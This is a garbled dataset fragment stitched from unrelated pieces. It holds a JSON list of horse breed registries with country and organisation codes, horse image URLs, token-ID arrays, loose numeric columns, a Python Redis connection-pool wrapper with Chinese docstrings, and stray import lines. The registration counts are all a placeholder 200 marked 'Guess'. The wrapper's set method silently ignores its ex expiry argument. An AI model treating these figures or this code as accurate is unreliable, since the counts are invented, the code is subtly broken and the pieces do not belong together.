"full_org_id": "840011",
"country": 840,
"org_id": "011",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Irish Appaloosa Association",
"full_org_id": "372012",
"country": 372,
"org_id": "012",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Quarter Horse Association UK",
"full_org_id": "826012",
"country": 826,
"org_id": "012",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Arabian Horse Association",
"full_org_id": "840012",
"country": 840,
"org_id": "012",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Skewbald & Piebald Association",
"full_org_id": "826013",
"country": 826,
"org_id": "013",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "International Bucksin Horse Association INC",
"full_org_id": "840014",
"country": 840,
"org_id": "014",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Spotted Pony Society",
"full_org_id": "826015",
"country": 826,
"org_id": "015",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Warmblood Breeders Studbook- UK",
"full_org_id": "826016",
"country": 826,
"org_id": "016",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Oldenburg Horse Breeders Society",
"full_org_id": "840016",
"country": 840,
"org_id": "016",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Caspian Horse Society",
"full_org_id": "826017",
"country": 826,
"org_id": "017",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Oldenburg Registry North America",
"full_org_id": "840017",
"country": 840,
"org_id": "017",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Cleveland Bay Horse Society",
"full_org_id": "826018",
"country": 826,
"org_id": "018",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Palomino Horse Breeders of America, INC",
"full_org_id": "840018",
"country": 840,
"org_id": "018",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Peruvian Paso Horse Registry of North America",
"full_org_id": "840019",
"country": 840,
"org_id": "019",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Dales Pony Society",
"full_org_id": "826020",
"country": 826,
"org_id": "020",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pinto Horse Association of America, INC",
"full_org_id": "840020",
"country": 840,
"org_id": "020",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Dartmoor Pony Society",
"full_org_id": "826021",
"country": 826,
"org_id": "021",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pony of the Americas Club, INC",
"full_org_id": "840021",
"country": 840,
"org_id": "021",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Donkey Breed Society",
"full_org_id": "826022",
"country": 826,
"org_id": "022",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Swedish Warmblod Association of North America",
"full_org_id": "840022",
"country": 840,
"org_id": "022",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "English Connemara Pony Society",
"full_org_id": "826023",
"country": 826,
"org_id": "023",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The american Hanoverian Society",
"full_org_id": "840023",
"country": 840,
"org_id": "023",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Eriskay Pony Society",
"full_org_id": "826024",
"country": 826,
"org_id": "024",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The american Morgan Horse Association",
"full_org_id": "840024",
"country": 840,
"org_id": "024",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Oldenburg Registry N.A. : Code for horses born in Canada only",
"full_org_id": "124025",
"country": 124,
"org_id": "025",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Exmoor Pony Society",
"full_org_id": "826025",
"country": 826,
"org_id": "025",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "KWPN - NA : code for horses born in USA",
"full_org_id": "840025",
"country": 840,
"org_id": "025",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "KWPN - NA : code for horses born in USA",
"full_org_id": "840025",
"country": 840,
"org_id": "025",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "ISR Pony : Code for Ponies born in Canada only",
"full_org_id": "124026",
"country": 124,
"org_id": "026",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Spotted Pony Breed Society (Great Britain)",
"full_org_id": "826026",
"country": 826,
"org_id": "026",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "PAHR : code the Arabs born in USA only",
"full_org_id": "840026",
"country": 840,
"org_id": "026",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Fell Pony Society",
"full_org_id": "826027",
"country": 826,
"org_id": "027",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The United States Trotting Association",
"full_org_id": "840027",
"country": 840,
"org_id": "027",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "PAHR : code for Arabs born in Canada only",
"full_org_id": "124028",
"country": 124,
"org_id": "028",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Fjord Horse National Stud Book Association of Great Britain",
"full_org_id": "826028",
"country": 826,
"org_id": "028",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Welsh Pony and Cob Society of America",
"full_org_id": "840028",
"country": 840,
"org_id": "028",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Welsh Pony and Cob Society of America",
"full_org_id": "840028",
"country": 840,
"org_id": "028",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Welsh Pony and Cob Society of America",
"full_org_id": "840028",
"country": 840,
"org_id": "028",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Welsh Pony and Cob Society of America",
"full_org_id": "840028",
"country": 840,
"org_id": "028",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AHHA : Code for holsteiner horses born in Canada only",
"full_org_id": "124029",
"country": 124,
"org_id": "029",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "FHSGI - English Friesan horses only",
"full_org_id": "826029",
"country": 826,
"org_id": "029",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Norwegian Fjord Horse Registry",
"full_org_id": "840029",
"country": 840,
"org_id": "029",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "AHS : Code for Hanoverian horse born in canada only",
"full_org_id": "124030",
"country": 124,
"org_id": "030",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Hackney Horse Society",
"full_org_id": "826030",
"country": 826,
"org_id": "030",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "North American Shagya Society",
"full_org_id": "840030",
"country": 840,
"org_id": "030",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Highland Pony Society",
"full_org_id": "826031",
"country": 826,
"org_id": "031",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "International Sport Horse Registry",
"full_org_id": "840031",
"country": 840,
"org_id": "031",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Icelandic Horse Society",
"full_org_id": "826032",
"country": 826,
"org_id": "032",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Lipizzan Association of America",
"full_org_id": "840032",
"country": 840,
"org_id": "032",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "International miniature Pony",
"full_org_id": "826033",
"country": 826,
"org_id": "033",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Irish Draught Horse Society of North America",
"full_org_id": "840033",
"country": 840,
"org_id": "033",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Irish Draught Horse Society",
"full_org_id": "826034",
"country": 826,
"org_id": "034",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Lipizzaner national stud book association of Great Britain",
"full_org_id": "826035",
"country": 826,
"org_id": "035",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "International Curly Horse Organization",
"full_org_id": "840035",
"country": 840,
"org_id": "035",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Nokota Horse Conservancy",
"full_org_id": "840036",
"country": 840,
"org_id": "036",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "National Pony Society",
"full_org_id": "826037",
"country": 826,
"org_id": "037",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Friesian Horse Society Inc",
"full_org_id": "840037",
"country": 840,
"org_id": "037",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "New Forest Pony Breeding & Cattle Society",
"full_org_id": "826038",
"country": 826,
"org_id": "038",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Continental Stud Book",
"full_org_id": "840038",
"country": 840,
"org_id": "038",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Shetland Pony Stud-book Society",
"full_org_id": "826039",
"country": 826,
"org_id": "039",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Friesian Sporthorse Association",
"full_org_id": "840039",
"country": 840,
"org_id": "039",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Shire Horse Society",
"full_org_id": "826040",
"country": 826,
"org_id": "040",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Sport Horse Breeding of Great Britain",
"full_org_id": "826041",
"country": 826,
"org_id": "041",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Heritage Horse Association",
"full_org_id": "840041",
"country": 840,
"org_id": "041",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Spotted Horse and Pony Register",
"full_org_id": "826042",
"country": 826,
"org_id": "042",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Spanish Mustang Registry, Inc.",
"full_org_id": "840042",
"country": 840,
"org_id": "042",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Suffolk Horse Society",
"full_org_id": "826043",
"country": 826,
"org_id": "043",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "California Vaquero Horse Association",
"full_org_id": "840043",
"country": 840,
"org_id": "043",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Arab Horse Society",
"full_org_id": "826044",
"country": 826,
"org_id": "044",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "United States Icelandic Horse Congress",
"full_org_id": "840044",
"country": 840,
"org_id": "044",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Trakehner Breeders Fraternity",
"full_org_id": "826045",
"country": 826,
"org_id": "045",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Horse of the Americas Registry",
"full_org_id": "840045",
"country": 840,
"org_id": "045",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Horse of the Americas Registry",
"full_org_id": "840045",
"country": 840,
"org_id": "045",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Welsh Pony & Cob Society",
"full_org_id": "826046",
"country": 826,
"org_id": "046",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Akhal-Teke Horse Registry",
"full_org_id": "840046",
"country": 840,
"org_id": "046",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Scottish Sport Horse",
"full_org_id": "826047",
"country": 826,
"org_id": "047",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Weatherbys - Code for non-TB horses born in Great Britain only",
"full_org_id": "826048",
"country": 826,
"org_id": "048",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Driving Society",
"full_org_id": "826049",
"country": 826,
"org_id": "049",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Harness Racing Club",
"full_org_id": "826050",
"country": 826,
"org_id": "050",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Equestrian Federation",
"full_org_id": "826051",
"country": 826,
"org_id": "051",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Hurlingham Polo Association",
"full_org_id": "826052",
"country": 826,
"org_id": "052",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Caspian Breed Society (UK)",
"full_org_id": "826053",
"country": 826,
"org_id": "053",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Coloured Horse and Pony Society UK",
"full_org_id": "826054",
"country": 826,
"org_id": "054",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Scottish Icelandic Horse Association",
"full_org_id": "826055",
"country": 826,
"org_id": "055",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Code for English Standard and Trotting Horses only",
"full_org_id": "826056",
"country": 826,
"org_id": "056",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Bavarian Warmblood Association",
"full_org_id": "826057",
"country": 826,
"org_id": "057",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Appaloosa Horse Club UK",
"full_org_id": "826058",
"country": 826,
"org_id": "058",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Fjord Horse Registry of Scotland and Fjord Horse UK",
"full_org_id": "826059",
"country": 826,
"org_id": "059",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Comann Each nan Eilean",
"full_org_id": "826061",
"country": 826,
"org_id": "061",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The American Saddlebred Association of Great Britain",
"full_org_id": "826063",
"country": 826,
"org_id": "063",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Show Jumping Association",
"full_org_id": "826064",
"country": 826,
"org_id": "064",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Haflinger Society of Great Britain",
"full_org_id": "826065",
"country": 826,
"org_id": "065",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Miniature Mediterranean Donkey Association",
"full_org_id": "826066",
"country": 826,
"org_id": "066",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Pleasure Horse Society",
"full_org_id": "826067",
"country": 826,
"org_id": "067",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Horse Passport Agency Ltd",
"full_org_id": "372069",
"country": 372,
"org_id": "069",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Horse Passport Agency Ltd",
"full_org_id": "826069",
"country": 826,
"org_id": "069",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Lipizanner Society of GB",
"full_org_id": "826070",
"country": 826,
"org_id": "070",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The United Saddlebred Association UK",
"full_org_id": "826071",
"country": 826,
"org_id": "071",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Clydesdale Horse Society",
"full_org_id": "826072",
"country": 826,
"org_id": "072",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Pet-ID-JRC Horse Register",
"full_org_id": "826073",
"country": 826,
"org_id": "073",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Veteran Horse Society",
"full_org_id": "826075",
"country": 826,
"org_id": "075",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Selle Francais/EquiCours",
"full_org_id": "826077",
"country": 826,
"org_id": "077",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "American Miniature Horse Club GB",
"full_org_id": "826078",
"country": 826,
"org_id": "078",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Falabella Studbook",
"full_org_id": "826079",
"country": 826,
"org_id": "079",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Camargue Horse Society",
"full_org_id": "826080",
"country": 826,
"org_id": "080",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Lusitano Breed Society of Great Britain",
"full_org_id": "826081",
"country": 826,
"org_id": "081",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The Showjumping Association of Ireland - Ulster Region",
"full_org_id": "826082",
"country": 826,
"org_id": "082",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "British Show Hack, Cob & Riding Horse Association",
"full_org_id": "826084",
"country": 826,
"org_id": "084",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "The UK Knabstrupper Association",
"full_org_id": "826087",
"country": 826,
"org_id": "087",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Weatherbys - Code for English TB and non TB horses only",
"full_org_id": "8260GB",
"country": 826,
"org_id": "0GB",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Hauptverband für traberzucht und rennen eV",
"full_org_id": "276307",
"country": 276,
"org_id": "307",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband der Zuchter des Arabischen Pferdes e.V.",
"full_org_id": "276308",
"country": 276,
"org_id": "308",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Trakehner Verband e.V.",
"full_org_id": "276309",
"country": 276,
"org_id": "309",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Zuchtverband fur deutsche Pferde e.V",
"full_org_id": "276310",
"country": 276,
"org_id": "310",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Freisenpferde-Zuchtverband eV",
"full_org_id": "276311",
"country": 276,
"org_id": "311",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Deutsche Quarter Horse Association",
"full_org_id": "276312",
"country": 276,
"org_id": "312",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Zuchtverband für Shagya-Araber, Anglo-Araber und Araber e V",
"full_org_id": "276313",
"country": 276,
"org_id": "313",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Paint Horse Club Germany e.V.",
"full_org_id": "276314",
"country": 276,
"org_id": "314",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Lipizzaner Zuchtverband Deutschland e.V.",
"full_org_id": "276316",
"country": 276,
"org_id": "316",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "European Colored Horses Association",
"full_org_id": "276317",
"country": 276,
"org_id": "317",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband der Zuchter des Holsteiner Pferdes",
"full_org_id": "276321",
"country": 276,
"org_id": "321",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pferdestammbuch Schleswig-Holstein / Hamburg e V",
"full_org_id": "276322",
"country": 276,
"org_id": "322",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband D Pferdezuchter Meckl-Vorpommern e.V",
"full_org_id": "276327",
"country": 276,
"org_id": "327",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband D Pferdezuchter Meckl-Vorpommern e.V",
"full_org_id": "276327",
"country": 276,
"org_id": "327",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Zuchtverband für das Ostfriesische u. Alt-Oldenburger Pferd e V",
"full_org_id": "276330",
"country": 276,
"org_id": "330",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband hannoverscher Warmblutzüchter",
"full_org_id": "276331",
"country": 276,
"org_id": "331",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband der Zuchter des Oldenburger Pferdes",
"full_org_id": "276333",
"country": 276,
"org_id": "333",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband der Pony-und Kleinpferdezüchter Hannover e V",
"full_org_id": "276334",
"country": 276,
"org_id": "334",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pferdestammbuch Weser-Ems e V",
"full_org_id": "276335",
"country": 276,
"org_id": "335",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Stammbuch für Kaltblutpferde Niedersachsens e V",
"full_org_id": "276336",
"country": 276,
"org_id": "336",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pferdezuchtverband Sachsen-Anhalt e.V",
"full_org_id": "276337",
"country": 276,
"org_id": "337",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Westfälisches Pferdestammbuch e.V",
"full_org_id": "276341",
"country": 276,
"org_id": "341",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Rheinisches Pferdestammbuch e.V",
"full_org_id": "276343",
"country": 276,
"org_id": "343",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pferdezuchtverband Rheinland-Pfalz-Saar",
"full_org_id": "276351",
"country": 276,
"org_id": "351",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pferdezuchtverband Berlin-Brandenburg",
"full_org_id": "276357",
"country": 276,
"org_id": "357",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband Hessischer Pferdezüchter",
"full_org_id": "276361",
"country": 276,
"org_id": "361",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband der Ponyzüchter Hessen e V",
"full_org_id": "276363",
"country": 276,
"org_id": "363",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Deutscher Pinto Zuchtverband e.V.",
"full_org_id": "276366",
"country": 276,
"org_id": "366",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband Thüringer Pferdezüchter e.V.",
"full_org_id": "276367",
"country": 276,
"org_id": "367",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pferdezuchtverband Baden-Württemberg",
"full_org_id": "276373",
"country": 276,
"org_id": "373",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pferdezuchtverband Baden-Württemberg",
"full_org_id": "276373",
"country": 276,
"org_id": "373",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Landesverband Bayerischer Pferdezüchter",
"full_org_id": "276381",
"country": 276,
"org_id": "381",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Bayerischer Zuchtverband für Kleinpferde und Specialpferderassen",
"full_org_id": "276384",
"country": 276,
"org_id": "384",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Pferdezuchtverband Sachsen e.V",
"full_org_id": "276387",
"country": 276,
"org_id": "387",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Hauptverband für traberzucht und rennen eV",
"full_org_id": "276407",
"country": 276,
"org_id": "407",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Verband der Zuchter und Freunde des Arabischen Pferdes e.V.",
"full_org_id": "276408",
"country": 276,
"org_id": "408",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Trakehner Verband e.V.",
"full_org_id": "276409",
"country": 276,
"org_id": "409",
"num_reg": 200,
"source_of_num_reg": "Guess",
"FIELD7": ""
},
{
"name": "Zuchtverband fur deutsche Pferde e.V",
"full_org_id": "276410",
"country": 276,
"org_id": "410",
"num_reg": 200,
"source_of_num_reg": "Guess",
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{
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{
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{
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{
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{
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{
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"num_reg": 200,
"source_of_num_reg": "Guess",
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},
{
"name": "Bayerischer Zuchtverband für Kleinpferde und Specialpferderassen",
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"num_reg": 200,
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{
"name": "Zuchtverband für Senner Pferde e.V.",
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},
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{
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},
{
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"num_reg": 200,
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{
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{
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{
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"name": "Weatherbys Ireland",
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{
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"http://upload.wikimedia.org/wikipedia/commons/thumb/4/41/Hannoveraner_Dressur_Goethe_3_bestes.jpg/300px-Hannoveraner_Dressur_Goethe_3_bestes.jpg",
"http://www.webalice.it/nbruni1/Caffarella%20cavallo%20%20ritaglio.jpg",
"http://lh3.google.com/_4Qbm9eCyv9g/RnZxSUFKpfI/AAAAAAAABtI/93XyVTiqlXg/s800/Festa+medioevale+Cervarese+2007+021.jpg",
"http://www.ermes.net/images/turismo-equestre-cavallo.jpg",
"http://northviewqh.com/images/Cole.jpg",
"http://www.agraria.org/equini/cavalloagricoloitaliano1.JPG",
"http://www.hotelmirabello.it/foto_hotel_trentino/immagini/estate_nella_valle_del_primiero/grandi/cavallo.jpg",
"http://www.vacanzeinagriturismo.it/blog/wp-content/uploads/2007/07/passeggiata-a-cavallo.jpg",
"http://www.wargame.it/Foto%20Novita/Romano%20cavallo.jpg",
"http://kidslink.bo.cnr.it/aldomoro/aldomoro/alimenta/cavallo.gif",
"http://www.windoweb.it/guida/mondo/foto_di_cavalli/cavallo_appaloosa_1.jpg",
"http://www.equestrian.it/img/equilibrio2.jpg",
"http://www.skotatantho.altervista.org/Saint%20marie%20de%20la%20mer%20-%20cavallo2.jpg",
"http://www.pixelmarket.it/mt/upload/2006/01/01tta-cavallo.jpg",
"http://www.ojosmagazine.net/Portals/0/cavallo%20dalmata.JPG",
"http://www.toscanaitaly.biz/public/page_img/cavallo_islanda.jpg",
"http://www.cascinatollu.com/images/cavalli01.jpg",
] | [
39,
1581,
5188,
62,
39,
6981,
28378,
796,
685,
198,
1,
32,
344,
1600,
198,
1,
2782,
363,
952,
1600,
198,
1,
2782,
4267,
1600,
198,
1,
2782,
10793,
282,
1600,
198,
1,
32,
365,
5031,
1600,
198,
1,
2348,
18811,
1600,
198,
1,
42590,... | 2.126015 | 87,569 |
"""
redis模块封装
"""
import redis
class RedisPool(object):
"""redis连接池封装"""
def __init__(self, host, port):
"""创建连接"""
pool = redis.ConnectionPool(host=host, port=port)
self.client = redis.Redis(connection_pool=pool)
def set(self, name, value, ex=None, px=None, nx=False, xx=False):
"""设置值，不存在则创建，存在则修改
:param name: key
:param value: value
:param ex: 过期时间（秒）
:param px: 过期时间（毫秒）
:param nx: 如果设置为True，则只有name不存在时，当前的set操作才执行
:param xx: 如果设置为True，则只有nmae存在时，当前的set操作才执行
"""
self.client.set(name=name, value=value, px=px, nx=nx, xx=xx)
def get(self, name):
"""获取某以key的值
:param name: key
:return: 返回获取的值
"""
return self.client.get(name)
def incr(self, name, amount=1):
"""自增key的对应的值，当key不存在时则为默认值，否则在基础上自增整数amount
:param name: key
:param amount: 默认值
:return: 返回自增后的值
"""
return self.client.incr(name, amount=amount)
def decr(self, name, amount=1):
"""递减key的对应的值，当key不存在时则为默认值，否则在基础上递减整数amount
:param name: key
:param amount: 默认值
:return: 返回递减后的值
"""
return self.client.decr(name, amount=amount)
| [
37811,
198,
445,
271,
162,
101,
94,
161,
251,
245,
22887,
223,
35318,
198,
37811,
198,
11748,
2266,
271,
628,
198,
4871,
2297,
271,
27201,
7,
15252,
2599,
198,
220,
220,
220,
37227,
445,
271,
32573,
252,
162,
236,
98,
162,
109,
254,... | 1.32666 | 949 |
from collections import OrderedDict as dict
from ..base.utils import *
from ..base import Defaults, DBase
from .constants import *
